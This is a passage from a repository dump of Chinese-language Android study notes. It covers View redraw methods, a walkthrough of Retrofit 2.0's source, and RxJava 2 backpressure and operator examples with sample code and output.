    "path": "docs/android/sources/requestlayout_invalidate_postInvalidate.md",
    "content": "### requestLayout invalidate postInvalidate 区别和联系\n\n\n\n1. requestLayout\n当我们动态移动一个View的位置，或者View的大小、形状发生了变化的时候，我们可以在view中调用这个方法，\n 会重新measure layout\n \n2. invalidate \n 该方法的调用会引起View树的重绘，常用于内部调用(比如 setVisiblity())或者需要刷新界面的时候,需要在主线程(即UI线程)中调用该方法。那么我们来分析一下它的实现。 \n invalidate有多个重载方法，但最终都会调用invalidateInternal方法，在这个方法内部，进行了一系列的判断，判断View是否需要重绘，接着为该View设置标记位，然后把需要重绘的区域传递给父容器，即调用父容器的invalidateChild方法。 \n \n invalidate 回溯给父类，最终到ViewRootImpl 绘制\n \n3. postInvalidate 可以在非UI想成调用\n \n"
  },
  {
    "path": "docs/android/sources/retrofit.md",
    "content": "### Retrofit2.0 源码分析\n\n    \n\n##### retrofit 一共就是17个类，24个注解\n#### 使用步骤\n1. 第一步根据网络API定义一个接口\n\n        public interface UserApi {\n            @GET(\"/api/columns/{user} \")\n            Call<User> getAuthor(@Path(\"user\") String user)\n        }\n\n\n2. 第二步创建一个Retroft对象，并设置域名地址\n\n        public static final String API_URL = \"https://zhuanlan.zhihu.com\";\n\n        Retrofit retrofit = new Retrofit.Builder()\n            .baseUrl(API_URL)\n            .addConverterFactory(GsonConverterFactory.create())\n            .build();\n            \n3. 第三步再用这个retrofit对象创建一个UserApi对象：\n\n        UserApi api = retrofit.create(UserApi.class);\n            \n4. 第四步调用这个API\n\n        Call<User> call = api.getAuthor(\"ustory\");\n        //异步使用enqueue /[enk'ju:]/\n        call.enqueue(new Callback<ZhuanLanAuthor>() {\n          @Override\n          public void onResponse(Response<ZhuanLanAuthor> author) {\n              System.out.println(\"name： \" + author.getName());\n          }\n          @Override\n          public void onFailure(Throwable t) {\n          }\n        });\n        //同步使用 [ˈeksɪkju:t]\n\n#### Retrofit 原理分析\n\n1. Retrofit 实例化\n\n\n\n      public static final class Builder {\n        private final Platform platform;\n        private @Nullable okhttp3.Call.Factory callFactory;\n        private HttpUrl baseUrl;\n        private final List<Converter.Factory> converterFactories = new ArrayList<>();\n        private final List<CallAdapter.Factory> adapterFactories = new ArrayList<>();\n        private @Nullable Executor callbackExecutor;\n        private boolean validateEagerly;\n    \n        Builder(Platform platform) {\n          this.platform = platform;\n          // Add the built-in converter factory first. This prevents overriding its behavior but also\n          // ensures correct behavior when using converters that consume all types.\n          converterFactories.add(new BuiltInConverters());\n        }\n    \n        public Builder() {\n          this(Platform.get());\n        }\n        ....\n        ....\n       public Retrofit build() {\n          if (baseUrl == null) {\n            throw new IllegalStateException(\"Base URL required.\");\n          }\n    \n          okhttp3.Call.Factory callFactory = this.callFactory;\n          if (callFactory == null) {\n            callFactory = new OkHttpClient();\n          }\n    \n          Executor callbackExecutor = this.callbackExecutor;\n          if (callbackExecutor == null) {\n            callbackExecutor = platform.defaultCallbackExecutor();\n          }\n    \n          // Make a defensive copy of the adapters and add the default Call adapter.\n          List<CallAdapter.Factory> adapterFactories = new ArrayList<>(this.adapterFactories);\n          adapterFactories.add(platform.defaultCallAdapterFactory(callbackExecutor));\n    \n          // Make a defensive copy of the converters.\n          List<Converter.Factory> converterFactories = new ArrayList<>(this.converterFactories);\n    \n          return new Retrofit(callFactory, baseUrl, converterFactories, adapterFactories,\n              callbackExecutor, validateEagerly);\n        }\n        \n\n    // 封装handler\n    static class MainThreadExecutor implements Executor {\n      private final Handler handler = new Handler(Looper.getMainLooper());\n\n      @Override public void execute(Runnable r) {\n        handler.post(r);\n      }\n    }\n    \n    //Platform.java\n     CallAdapter.Factory defaultCallAdapterFactory(@Nullable Executor callbackExecutor) {\n        if (callbackExecutor != null) {\n          return new ExecutorCallAdapterFactory(callbackExecutor);\n        }\n        return DefaultCallAdapterFactory.INSTANCE;\n      }\n\n\n    总结：采用构造模式，通过Builder来实例化，包含有Platform用来获取平台信息，\n      callFactory是用来生成http请求对象的工厂，HttpUrl是对url的参数处理，List<Converter.Factory> converterFactories用来存储数据转化工厂(比如返回json数据和转化成对象，发送的数据如何由对象转化为json)，通过这个工厂用户和自己实现解析部分\n      ，List<CallAdapter.Factory>adapterFactories 适配Call类型，默认用的ExecutorCallAdapterFactory类型返回一个Call<T>去执行请求，也可以通过配置RxJava2CallAdapterFactory()返回一个 Observable<WXNewsResult> 去执行\n      Executor callbackExecutor 回调调度器（通过平台进行判断，如果是Android平台使用的是MainThreadExecutor其实就是封装的handler）;然后配置完以上参数就调用build,初始化callFactory为OKHttpClient，初始化callbackExecutor为MainExecutor\n      \n  \n2. retrofit.create实例化Api接口对象\n\n\n        // Retrofit.java\n        private final Map<Method, ServiceMethod<?, ?>> serviceMethodCache = new ConcurrentHashMap<>();\n\n        public <T> T create(final Class<T> service) {\n            Utils.validateServiceInterface(service);\n            if (validateEagerly) {\n              eagerlyValidateMethods(service);\n            }\n            return (T) Proxy.newProxyInstance(service.getClassLoader(), new Class<?>[] { service },\n                new InvocationHandler() {\n                  private final Platform platform = Platform.get();\n        \n              @Override public Object invoke(Object proxy, Method method, @Nullable Object[] args)\n                  throws Throwable {\n                // If the method is a method from Object then defer to normal invocation.\n                if (method.getDeclaringClass() == Object.class) {\n                  return method.invoke(this, args);\n                }\n                if (platform.isDefaultMethod(method)) {\n                  return platform.invokeDefaultMethod(method, service, proxy, args);\n                }\n                ServiceMethod<Object, Object> serviceMethod =\n                    (ServiceMethod<Object, Object>) loadServiceMethod(method);\n                OkHttpCall<Object> okHttpCall = new OkHttpCall<>(serviceMethod, args);\n                return serviceMethod.callAdapter.adapt(okHttpCall);\n              }\n            });\n        }\n        \n      \n      ServiceMethod<?, ?> loadServiceMethod(Method method) {\n        ServiceMethod<?, ?> result = serviceMethodCache.get(method);\n        if (result != null) return result;\n    \n        synchronized (serviceMethodCache) {\n          result = serviceMethodCache.get(method);\n          if (result == null) {\n            result = new ServiceMethod.Builder<>(this, method).build();\n            serviceMethodCache.put(method, result);\n          }\n        }\n        return result;\n      }\n     \n     \n     \n\n     \n     总结：通过传过来的接口类型参数，使用Proxy.newProxyInstance穿件一个动态代理对象并返回，\n     而所有的方法都将走invoke方法；方法内部先判断此方法如果是Object类的方法就直接调用，这个设计很精妙；然判断方法是否是平台方法，Android平台默认是false，\n     然后loadServiceMethod，内部先查找缓存（private final Map<Method, ServiceMethod<?, ?>> serviceMethodCache），没有就创建一个并加入缓存,并且创建一个OkHttpCall对象,用交给默认的CallAdapterFactory\n     返回一个ExecutorCallbackCall对象，而ExecutorCallbackCall代理了okHttpCall对象，所以通过ExecutorCallbackCall调用enqueue和execute来调用OKHttpClient的Call对象enqueue和execute\n     \n     \n     \n3. ServiceMethod\n\n\n       //ServiceMethod.java\n       static final class Builder<T, R> {\n         ....\n         ....\n     \n         Builder(Retrofit retrofit, Method method) {\n           this.retrofit = retrofit;\n           this.method = method;\n           this.methodAnnotations = method.getAnnotations();\n           this.parameterTypes = method.getGenericParameterTypes();\n           this.parameterAnnotationsArray = method.getParameterAnnotations();\n         }\n     \n         public ServiceMethod build() {\n           callAdapter = createCallAdapter();\n           responseType = callAdapter.responseType();\n           if (responseType == Response.class || responseType == okhttp3.Response.class) {\n             throw methodError(\"'\"\n                 + Utils.getRawType(responseType).getName()\n                 + \"' is not a valid response body type. Did you mean ResponseBody?\");\n           }\n           responseConverter = createResponseConverter();\n     \n           for (Annotation annotation : methodAnnotations) {\n             parseMethodAnnotation(annotation);\n           }\n     \n           if (httpMethod == null) {\n             throw methodError(\"HTTP method annotation is required (e.g., @GET, @POST, etc.).\");\n           }\n     \n           if (!hasBody) {\n             if (isMultipart) {\n               throw methodError(\n                   \"Multipart can only be specified on HTTP methods with request body (e.g., @POST).\");\n             }\n             if (isFormEncoded) {\n               throw methodError(\"FormUrlEncoded can only be specified on HTTP methods with \"\n                   + \"request body (e.g., @POST).\");\n             }\n           }\n     \n           int parameterCount = parameterAnnotationsArray.length;\n           parameterHandlers = new ParameterHandler<?>[parameterCount];\n           for (int p = 0; p < parameterCount; p++) {\n             Type parameterType = parameterTypes[p];\n             if (Utils.hasUnresolvableType(parameterType)) {\n               throw parameterError(p, \"Parameter type must not include a type variable or wildcard: %s\",\n                   parameterType);\n             }\n     \n             Annotation[] parameterAnnotations = parameterAnnotationsArray[p];\n             if (parameterAnnotations == null) {\n               throw parameterError(p, \"No Retrofit annotation found.\");\n             }\n     \n             parameterHandlers[p] = parseParameter(p, parameterType, parameterAnnotations);\n           }\n     \n           ....\n           ....\n     \n           return new ServiceMethod<>(this);\n         }\n\n    总结：ServiceMethod封装了调用方法，内部通过Build去构造自己，Build的构造法方法内部获取 注解信息和参数信息，在build时解析配置的注解信息；\n    \n\n4. OkHttpCall\n\n\n       \n       final class OkHttpCall<T> implements Call<T> {\n            private final ServiceMethod<T, ?> serviceMethod;\n            @GuardedBy(\"this\")\n            private @Nullable okhttp3.Call rawCall;\n            \n            ....\n            ....\n            @Override \n            public synchronized Request request() {\n                okhttp3.Call call = rawCall;\n                if (call != null) {\n                  return call.request();\n                }\n                if (creationFailure != null) {\n                  if (creationFailure instanceof IOException) {\n                    throw new RuntimeException(\"Unable to create request.\", creationFailure);\n                  } else {\n                    throw (RuntimeException) creationFailure;\n                  }\n                }\n                try {\n                  return (rawCall = createRawCall()).request();\n                } catch (RuntimeException e) {\n                  creationFailure = e;\n                  throw e;\n                } catch (IOException e) {\n                  creationFailure = e;\n                  throw new RuntimeException(\"Unable to create request.\", e);\n                }\n              }\n            \n              @Override public void enqueue(final Callback<T> callback) {\n                checkNotNull(callback, \"callback == null\");\n            \n                okhttp3.Call call;\n                Throwable failure;\n            \n                synchronized (this) {\n                  if (executed) throw new IllegalStateException(\"Already executed.\");\n                  executed = true;\n            \n                  call = rawCall;\n                  failure = creationFailure;\n                  if (call == null && failure == null) {\n                    try {\n                      call = rawCall = createRawCall();\n                    } catch (Throwable t) {\n                      failure = creationFailure = t;\n                    }\n                  }\n                }\n            \n                if (failure != null) {\n                  callback.onFailure(this, failure);\n                  return;\n                }\n            \n                if (canceled) {\n                  call.cancel();\n                }\n            \n                call.enqueue(new okhttp3.Callback() {\n                  @Override public void onResponse(okhttp3.Call call, okhttp3.Response rawResponse)\n                      throws IOException {\n                    Response<T> response;\n                    try {\n                      response = parseResponse(rawResponse);\n                    } catch (Throwable e) {\n                      callFailure(e);\n                      return;\n                    }\n                    callSuccess(response);\n                  }\n            \n                  @Override public void onFailure(okhttp3.Call call, IOException e) {\n                    try {\n                      callback.onFailure(OkHttpCall.this, e);\n                    } catch (Throwable t) {\n                      t.printStackTrace();\n                    }\n                  }\n            \n                  private void callFailure(Throwable e) {\n                    try {\n                      callback.onFailure(OkHttpCall.this, e);\n                    } catch (Throwable t) {\n                      t.printStackTrace();\n                    }\n                  }\n            \n                  private void callSuccess(Response<T> response) {\n                    try {\n                      callback.onResponse(OkHttpCall.this, response);\n                    } catch (Throwable t) {\n                      t.printStackTrace();\n                    }\n                  }\n                });\n              }\n              \n              \n              private okhttp3.Call createRawCall() throws IOException {\n              \n                  Request request = serviceMethod.toRequest(args);\n                  okhttp3.Call call = serviceMethod.callFactory.newCall(request);\n                  if (call == null) {\n                    throw new NullPointerException(\"Call.Factory returned null.\");\n                  }\n                  return call;\n                }\n       }\n       \n       // Call.java\n       public interface Call<T> extends Cloneable {\n        \n         Response<T> execute() throws IOException;//同步调度器\n       \n         void enqueue(Callback<T> callback);//异步调度器\n       \n         boolean isExecuted();//是否是执行\n    \n         void cancel();\n       \n         boolean isCanceled();\n     \n         Call<T> clone();\n       \n         Request request();//创建请求\n       }\n\n\n   总结：OkHttpCall 实现了Retrofit自己的Call；并实现request,enqueue,execute方法\n   \n   1. request方法：内部又调用createRawCall方法\n   内部创建一个Okhttp3的Call(先通过serviceMethod构建一个Okhttp3的request对象，然后在用通过配置的callFactory也就是OkHttpClient创建一个Call)\n   2. enqueue方法：通过OKhttp的call对象正常调用请求\n     \n5. serviceMethod.callAdapter.adapt(okHttpCall)；这句中callAdapter默认对应是\n\n\n      //ExecutorCallAdapterFactory.java\n      new CallAdapter<Object, Call<?>>() {\n              @Override public Type responseType() {\n                return responseType;\n              }\n\n      @Override public Call<Object> adapt(Call<Object> call) {\n        return new ExecutorCallbackCall<>(callbackExecutor, call);\n      }\n      \n    \n 总结 adapt方法最终返回一个ExecutorCallbackCall对象\n \n6. ExecutorCallbackCall \n\n        static final class ExecutorCallbackCall<T> implements Call<T> {\n               final Executor callbackExecutor;\n               final Call<T> delegate;\n               ....\n               ....\n        }\n  \n  总结：ExecutorCallbackCall 实现了Retrofit的Call接口，代理了OKHttpCall，进一步代理了OKHttp\n  \n7.最终通过  ExecutorCallbackCall去调用enqueue和execute去执行请求啦\n\n\n\n####总结\n\n通过retrofit 初始化一个ExecutorCallAdapterFactory对象，和配置一个Converter.Factory对象用转化数据，然后调用create方法创建一个API代理对象，API代理对象调用接口\n，查找有没有对应ServiceMethod如果没有，就通过method参数创建一个，同时解析method注解和参数封装到ServiceMethod，然后在创建一个OKHttpCall,再调用ServiceMethod保存的callAdapter引用\n（通过ExecutorCallAdapterFactory创建）再调用adapt 返回一个ExecutorCallbackCall ，因为返回一个ExecutorCallbackCall代理了call，然后返回一个ExecutorCallbackCall去执行请求"
  },
  {
    "path": "docs/android/sources/rxjavademo.md",
    "content": "### rxjava \n\n\n    https://github.com/ReactiveX/RxJava\n\n1. rxjava 2.0 新要求 \n\nRxJava2.X中，Observeable用于订阅Observer，是不支持背压的，而Flowable用于订阅Subscriber，是支持背压(Backpressure)的。\n\n\n2. 啥叫不支持背压呢？\n   \n   当被观察者快速发送大量数据时，下游不会做其他处理，即使数据大量堆积，调用链也不会报MissingBackpressureException,消耗内存过大只会OOM\n   \n   我在测试的时候，快速发送了100000个整形数据，下游延迟接收，结果被观察者的数据全部发送出去了，内存确实明显增加了，遗憾的是没有OOM。\n   \n\n3. Observable 、Observer正确使用\n\n    \n    Observable mObservable=Observable.create(new ObservableOnSubscribe<Integer>() {\n                @Override\n                public void subscribe(ObservableEmitter<Integer> e) throws Exception {\n                    e.onNext(1);\n                    e.onNext(2);\n                    e.onComplete();\n                }\n            });\n            \n    Observer mObserver=new Observer<Integer>() {\n                //这是新加入的方法，在订阅后发送数据之前，\n                //回首先调用这个方法，而Disposable可用于取消订阅\n                @Override\n                public void onSubscribe(Disposable d) {\n    \n                }\n    \n                @Override\n                public void onNext(Integer value) {\n    \n                }\n    \n                @Override\n                public void onError(Throwable e) {\n    \n                }\n    \n                @Override\n                public void onComplete() {\n    \n                }\n            };\n            \n    mObservable.subscribe(mObserver);\n\n\n4. Flowable 处理被压问题\n\n\n   - 查看 Flowable源码你会发现他内部限制了缓存大小，128\n  \n      public abstract class Flowable<T> implements Publisher<T> {\n          /** The default buffer size. */\n          static final int BUFFER_SIZE;\n          static {\n              BUFFER_SIZE = Math.max(1, Integer.getInteger(\"rx2.buffer-size\", 128));\n          }\n\n  - BackpressureStrategy 背压策略主要有四种：\n   \n   BackpressureStrategy.ERROR，前面已经用到过，会在上下游流量不平衡的时候报出MissingBackpressureException的错误。\n   \n   BackpressureStrategy.BUFFER，这种背压策略和Observable没有什么区别，上游可以无限发送，水缸足够大，最后还是会抛出OOM；并且可以发现Flowable里无限发送的话，内存增长的比Observable慢，这是因为Flowable采用响应拉取，难免会损耗些性能。\n  \n   BackpressureStrategy.DROP，水缸里只存储128个事件，剩余的事件舍去，如果下游拉取了事件，则上游当前正在发送的事件在拉取时刻补充进水缸。\n   \n   BackpressureStrategy.LATEST，下游总能获取到最后最新的事件，因为水缸中最后进来的事件总会被新的事件overwrite，所以可以每次拉取总能获得最后或是最新的事件。\n\n#### 下面代码产生 OOM\n\n\n\n    public void demo17() {\n            Observable\n                    .create(new ObservableOnSubscribe<Integer>() {\n                        @Override\n                        public void subscribe(ObservableEmitter<Integer> e) throws Exception {\n                            int i = 0;\n                            while (true) {\n                                i++;\n                                System.out.println(\"发射---->\" + i);\n                                e.onNext(i);\n                            }\n                        }\n                    })\n                    .subscribeOn(Schedulers.newThread())\n                    .observeOn(Schedulers.newThread())\n                    .subscribe(new Observer<Integer>() {\n                        @Override\n                        public void onSubscribe(Disposable d) {\n                        }\n    \n                        @Override\n                        public void onNext(Integer integer) {\n                            try {\n                                Thread.sleep(50);\n                                System.out.println(\"接收------>\" + integer);\n                            } catch (InterruptedException ignore) {\n                            }\n                        }\n    \n                        @Override\n                        public void onError(Throwable e) {\n                            e.printStackTrace();\n                        }\n    \n                        @Override\n                        public void onComplete() {\n                            System.out.println(\"接收------>完成\");\n                        }\n                    });\n        }\n        \n由于下游处理数据的速度（的Thread.sleep（50））赶不上上游发射数据的速度，则会导致背压问题。\n\n\n\n#### 最好解决方案   下面，对其通过可流动做些改进，让其既不会产生背压问题，也不会引起异常或者数据丢失。\n\n\n\n     public void demo18() {\n            Flowable\n                    .create(new FlowableOnSubscribe<Integer>() {\n                        @Override\n                        public void subscribe(FlowableEmitter<Integer> e) throws Exception {\n                            int i = 0;\n                            while (true) {\n                                if (e.requested() == 0) continue;//此处添加代码，让flowable按需发送数据\n                                System.out.println(\"发射---->\" + i);\n                                i++;\n                                e.onNext(i);\n                            }\n                        }\n                    }, BackpressureStrategy.MISSING)\n                    .subscribeOn(Schedulers.newThread())\n                    .observeOn(Schedulers.newThread())\n                    .subscribe(new Subscriber<Integer>() {\n                        private Subscription mSubscription;\n    \n                        @Override\n                        public void onSubscribe(Subscription s) {\n                            s.request(1);            //设置初始请求数据量为1\n                            mSubscription = s;\n                        }\n    \n                        @Override\n                        public void onNext(Integer integer) {\n                            try {\n                                Thread.sleep(50);\n                                System.out.println(\"接收------>\" + integer);\n                                mSubscription.request(1);//每接收到一条数据增加一条请求量\n                            } catch (InterruptedException ignore) {\n                            }\n                        }\n    \n                        @Override\n                        public void onError(Throwable t) {\n                        }\n    \n                        @Override\n                        public void onComplete() {\n                        }\n                    });\n        }\n\n    下游处理数据的速度Thread.sleep（50）赶不上上游发射数据的速度，\n    不同的是，我们在下游onNext（整数整数）方法中，每接收一条数据增加一条请求量，\n    \n    mSubscription.request(1)\n    在上游添加代码\n    \n    if(e.requested()==0)continue;\n    。上游让按需发送数据\n\n\n4. 其他被观察者/观察者模式\n\n    当然，除了上面这两种观察者，还有一类观察者\n    - Single/SingleObserver\n    - Completable/CompletableObserver\n    - Maybe/MaybeObserver\n    \n    \n    \n    Single\n    只发射一条单一的数据，或者一条异常通知，不能发射完成通知，其中数据与通知只能发射一个。\n    \n    Completable\n    只发射一条完成通知，或者一条异常通知，不能发射数据，其中完成通知与异常通知只能发射一个\n    \n    Maybe\n    可发射一条单一的数据，以及发射一条完成通知，或者一条异常通知，其中完成通知和异常通知只能发射一个，发射数据只能在发射完成通知或者异常通知之前，否则发射数据无效。\n    \n\n\n\n   - 1. Single使用\n   \n   \n       Single.create(new SingleOnSubscribe<Integer>() {\n                   @Override\n                   public void subscribe(SingleEmitter<Integer> e) throws Exception {\n                       e.onError(new Exception(\"自定义异常\"));//只会走一个，其他的就会被无效\n                       e.onSuccess(12);\n                       e.onSuccess(12);\n                       e.onError(new Exception(\"自定义异常\"));\n                   }\n               }).subscribe(new SingleObserver<Integer>() {\n                   @Override\n                   public void onSubscribe(Disposable d) {\n       \n                   }\n       \n                   @Override\n                   public void onSuccess(Integer integer) {\n       \n                       Log.i(tag,\"onSuccess integer=\"+integer);\n                   }\n       \n                   @Override\n                   public void onError(Throwable e) {\n                       Log.i(tag,\"onError\");\n                       e.printStackTrace();\n                   }\n               });\n           }\n       \n   - 2. Completable 使用\n   \n         \n         Completable.create(new CompletableOnSubscribe() {\n                     @Override\n                     public void subscribe(CompletableEmitter e) throws Exception {\n                         e.onComplete();//后面的都不会发送\n                         e.onError(new Exception(\"自定义异常\"));\n         \n         \n                     }\n         \n                 }).subscribe(new CompletableObserver() {\n                     @Override\n                     public void onSubscribe(Disposable d) {\n         \n                     }\n         \n                     @Override\n                     public void onComplete() {\n                         Log.i(tag,\"onComplete\");\n                     }\n         \n                     @Override\n                     public void onError(Throwable e) {\n                         Log.i(tag,\"onError\");\n                     }\n                 });\n     \n    方法onComplete与onError只可调用一个，若先调用onError则会导致onComplete无效\n    \n   - 3. MayBe 使用\n   \n   示例1：Maybe发射单一数据和完成通知\n   \n   示例2：Maybe发射单一数据和异常通知\n   \n   总之和上面一样只不过可以发送两个\n    \n4. Maybe/MaybeObserver 具体使用 给句上面秒速 发送数据，只能一个\n \n \n \n          //判断是否登陆\n\n        \n           Maybe.just(isLogin())\n               //可能涉及到IO操作，放在子线程\n               .subscribeOn(Schedulers.newThread())\n               //取回结果传到主线程\n               .observeOn(AndroidSchedulers.mainThread())\n               .subscribe(new MaybeObserver<Boolean>() {\n                       @Override\n                       public void onSubscribe(Disposable d) {\n           \n                       }\n           \n                       @Override\n                       public void onSuccess(Boolean value) {\n                           if(value){\n                               ...\n                           }else{\n                               ...\n                           }\n                       }\n           \n                       @Override\n                       public void onError(Throwable e) {\n                           \n                       }\n           \n                       @Override\n                       public void onComplete() {\n           \n                       }\n                   });\n           \n\n \n ### 操作符\n \n  \n \n 1. unsafeCreate(create)\n \n  创建一个Observable（被观察者），当被观察者（Observer）/订阅者（Subscriber）\n  subscribe(订阅)的时候就会依次发出三条字符串数据（\"Hello\",\"RxJava\",\"Nice to meet you\"）\n  最终onComplete\n  \n  \n      Observable.unsafeCreate(new Observable.OnSubscribe<String>() {\n                  @Override\n                  public void call(Subscriber<? super String> subscriber) {\n                      subscriber.onNext(\"Hello\");\n                      subscriber.onNext(\"RxJava\");\n                      subscriber.onNext(\"Nice to meet you\");\n                      subscriber.onCompleted();\n                  }\n              });\n          \n          \n 2. just\n  \n  作用同上，订阅时依次发出三条数据，不过此方法参数可以有1-9条\n  \n    Observable.just(\"Hello\", \"RxJava\", \"Nice to meet you\")\n    \n 3. from\n \n \n  作用同just不过是把参数封装成数组或者可迭代的集合在依次发送出来，突破了just9个参数的限制\n  \n      String[] strings = {\"Hello\", \"RxJava\", \"Nice to meet you\"};\n      Observable.from(strings)\n              .subscribe(new Action1<String>() {\n                  @Override\n                  public void call(String s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n          \n 4. defer\n \n \n  顾名思义，延迟创建\n  \n  \n  \n      private String[] strings1 = {\"Hello\", \"World\"};\n          private String[] strings2 = {\"Hello\", \"RxJava\"};\n      \n          private void test() {\n              Observable<String> observable = Observable.defer(new Func0<Observable<String>>() {\n                  @Override\n                  public Observable<String> call() {\n                      return Observable.from(strings1);\n                  }\n              });\n      \n              strings1 = strings2; //订阅前把strings给改了\n              observable.subscribe(new Action1<String>() {\n                  @Override\n                  public void call(String s) {\n                      System.out.println(\"onNext--> \" + s);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n          }\n  我们发现数据结果变成这样了\n  \n  onNext--> Hello\n  onNext--> RxJava\n  onComplete\n  由此可以证明defer操作符起到的不过是一个“预创建”的作用，真正创建是发生在订阅的时候\n  \n5. empty\n  创建一个空的，不会发射任何事件（数据）的Observable\n  Observable.empty()\n          .subscribe(new Action1<Object>() {\n              @Override\n              public void call(Object o) {\n                  System.out.println(\"onNext--> \" + o);\n              }\n          }, new Action1<Throwable>() {\n              @Override\n              public void call(Throwable throwable) {\n                  System.out.println(\"onError--> \" + throwable.getMessage());\n              }\n          }, new Action0() {\n              @Override\n              public void call() {\n                  System.out.println(\"onComplete\");\n              }\n          });\n  onComplete\n  \n  \n 6. never\n  创建一个不会发出任何事件也不会结束的Observable\n  \n      \n      Observable.never()\n              .subscribe(new Action1<Object>() {\n                  @Override\n                  public void call(Object o) {\n                      System.out.println(\"onNext--> \" + o);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n      ······\n      \n 7. error\n \n  创建一个会发出一个error事件的Observable\n      \n      Observable.error(new RunftimeException(\"fuck!\"))\n              .subscribe(new Action1<Object>() {\n                  @Override\n                  public void call(Object o) {\n                      System.out.println(\"onNext--> \" + o);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n  onError--> fuck!\n  \n 8. range\n \n  创建一个发射一组整数序列的Observable\n  \n  \n      Observable.range(3, 8)\n              .subscribe(new Action1<Object>() {\n                  @Override\n                  public void call(Object o) {\n                      System.out.println(\"onNext--> \" + o);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n              \n  onNext--> 3\n  \n  onNext--> 4\n  \n  onNext--> 5\n  \n  onNext--> 6\n  \n  onNext--> 7\n  \n  onNext--> 8\n  \n  onNext--> 9\n  \n  onNext--> 10\n  \n  onComplete\n  \n9. interval\n\n  创建一个无限的计时序列，每隔一段时间发射一个数字（从0开始）的Observable\n  \n  \n     Observable.interval(1, TimeUnit.SECONDS)\n          .subscribe(new Action1<Object>() {\n              @Override\n              public void call(Object o) {\n                  System.out.println(\"onNext--> \" + o);\n              }\n          }, new Action1<Throwable>() {\n              @Override\n              public void call(Throwable throwable) {\n                  System.out.println(\"onError--> \" + throwable.getMessage());\n              }\n          }, new Action0() {\n              @Override\n              public void call() {\n                  System.out.println(\"onComplete\");\n              }\n          });\n  \n     System.in.read();//阻塞当前线程，防止JVM结束程序\n     \n  onNext--> 0\n  \n  onNext--> 1\n  \n  onNext--> 2\n  \n  onNext--> 3\n  \n  onNext--> 4\n  \n  onNext--> 5\n  \n  onNext--> 6\n  \n  ...\n  \n10. buffer(int count)\n\n  将原发射出来的数据已count为单元打包之后在分别发射出来\n  \n      \n      Observable.just(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)\n              .buffer(3)\n              .subscribe(new Action1<Object>() {\n                  @Override\n                  public void call(Object o) {\n                      System.out.println(\"onNext--> \" + o);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n      onNext--> [1, 2, 3]\n      onNext--> [4, 5, 6]\n      onNext--> [7, 8, 9]\n      onNext--> [10]\n      onComplete\n      \n      \n               \n11. map\n\n  将原Observable发射出来的数据转换为另外一种类型的数据\n  \n  \n             1. map处理类型转换 \n             \n                   传递一个Function<原本类型，新类型>(){\n                   \n                     新类型  apply(原本类型数据){\n                           // 处理\n                           return 新类型数据\n                       }\n                   }\n                   \n             2. flatMap 处理多对多类型数据,因为他支持新类型可以还是一个被观察者\n              \n                      Function<原本类型，Observerable<新类型>>(){\n                     \n                       Observerable<新类型>  apply(原本类型数据){\n                             // 处理\n                             return Observerable.fromXXX(新类型数据)s\n                         }\n                     }\n                 \n                 \n      Observable.just(\"Hello\", \"RxJava\", \"Nice to meet you\")\n              .map(new Func1<String, Integer>() { //泛型第一个类型是原数据类型，第二个类型是想要变换的数据类型\n                  @Override\n                  public Integer call(String s) {\n                      // 这是转换成了Student类型\n                      // Student student = new Student();\n                      // student.setName(s);\n                      // return student;\n                      return s.hashCode();        //将数据转换为了int（取得其hashCode值）\n                  }\n              })\n              .subscribe(new Action1<Integer>() {\n                  @Override\n                  public void call(Integer o) {\n                      System.out.println(\"onNext--> \" + o);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n      onNext--> 69609650\n      onNext--> -1834252888\n      onNext--> -1230747480\n      onComplete\n  \n  \n12. flatMap\n\n  作用类似于map又比map强大，map是单纯的数据类型的转换，而flapMap可以将原数据新的Observables，再将这些Observables的数据顺序缓存到一个新的队列中，在统一发射出来\n   \n      \n      Observable.just(\"Hello\", \"RxJava\", \"Nice to meet you\")\n              .flatMap(new Func1<String, Observable<Integer>>() {\n                  @Override\n                  public Observable<Integer> call(String s) {\n                      return Observable.just(s.hashCode());\n                  }\n              })\n              .subscribe(new Action1<Integer>() {\n                  @Override\n                  public void call(Integer o) {\n                      System.out.println(\"onNext--> \" + o);\n                  }\n              }, new Action1<Throwable>() {\n                  @Override\n                  public void call(Throwable throwable) {\n                      System.out.println(\"onError--> \" + throwable.getMessage());\n                  }\n              }, new Action0() {\n                  @Override\n                  public void call() {\n                      System.out.println(\"onComplete\");\n                  }\n              });\n          }\n      onNext--> 69609650\n      onNext--> -1834252888\n      onNext--> -1230747480\n      onComplete\n  \n  这里虽然结果和map是相同的，但是过程却是不同的。flatMap是先将原来的三个字符串（\"Hello\",\"RxJava\",\"Nice to meet 